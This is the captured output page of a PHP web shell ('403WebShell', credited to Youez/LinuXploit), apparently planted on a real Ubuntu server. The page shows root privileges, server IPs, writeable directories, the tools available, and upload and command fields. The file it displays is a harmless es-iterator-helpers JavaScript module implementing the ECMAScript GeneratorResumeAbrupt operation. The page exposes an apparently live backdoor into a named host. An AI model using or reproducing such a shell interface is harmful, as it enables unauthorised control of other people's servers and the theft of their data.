Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/node_modules/es-iterator-helpers/aos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/node_modules/es-iterator-helpers/aos/GeneratorResumeAbrupt.js
'use strict';

var $TypeError = require('es-errors/type');

var CompletionRecord = require('es-abstract/2025/CompletionRecord');
var CreateIteratorResultObject = require('es-abstract/2025/CreateIteratorResultObject');
var GeneratorValidate = require('es-abstract/2025/GeneratorValidate');
var NormalCompletion = require('es-abstract/2025/NormalCompletion');

var SLOT = require('internal-slot');

// https://tc39.es/ecma262/#sec-generatorresumeabrupt

module.exports = function GeneratorResumeAbrupt(generator, abruptCompletion, generatorBrand) {
	if (
		!(abruptCompletion instanceof CompletionRecord)
		|| (abruptCompletion.type() !== 'return' && abruptCompletion.type() !== 'throw')
	) {
		throw new $TypeError('Assertion failed: abruptCompletion must be a `return` or `throw` Completion Record');
	}

	var state = GeneratorValidate(generator, generatorBrand); // step 1

	if (state === 'SUSPENDED-START') { // step 2
		SLOT.set(generator, '[[GeneratorState]]', 'COMPLETED'); // step 2.a
		SLOT.set(generator, '[[GeneratorContext]]', null); // step 2.b
		state = 'COMPLETED'; // step 2.c
	}

	var value = abruptCompletion.value();

	if (state === 'COMPLETED') { // step 3
		if (abruptCompletion.type() === 'return') { // step 3.a
			return CreateIteratorResultObject(value, true); // step 3.a.i
		}
		return abruptCompletion['?'](); // step 3.b - throw
	}

	if (state !== 'SUSPENDED-YIELD') {
		throw new $TypeError('Assertion failed: generator state is unexpected: ' + state); // step 4
	}

	var genContext = SLOT.get(generator, '[[GeneratorContext]]'); // step 5

	SLOT.set(generator, '[[GeneratorState]]', 'EXECUTING'); // step 8

	if (abruptCompletion.type() === 'return') {
		// due to representing `GeneratorContext` as a function, we can't safely re-invoke it, so we can't support sending it a return completion
		var closeResult = SLOT.get(generator, '[[CloseIfAbrupt]]')(NormalCompletion(value));
		SLOT.set(generator, '[[GeneratorState]]', 'COMPLETED'); // step 10
		return CreateIteratorResultObject(closeResult, true);
	}

	var result = genContext(value); // steps 6-7, 9-11

	return result; // step 12
};

Youez - 2016 - github.com/yon3zu
LinuXploit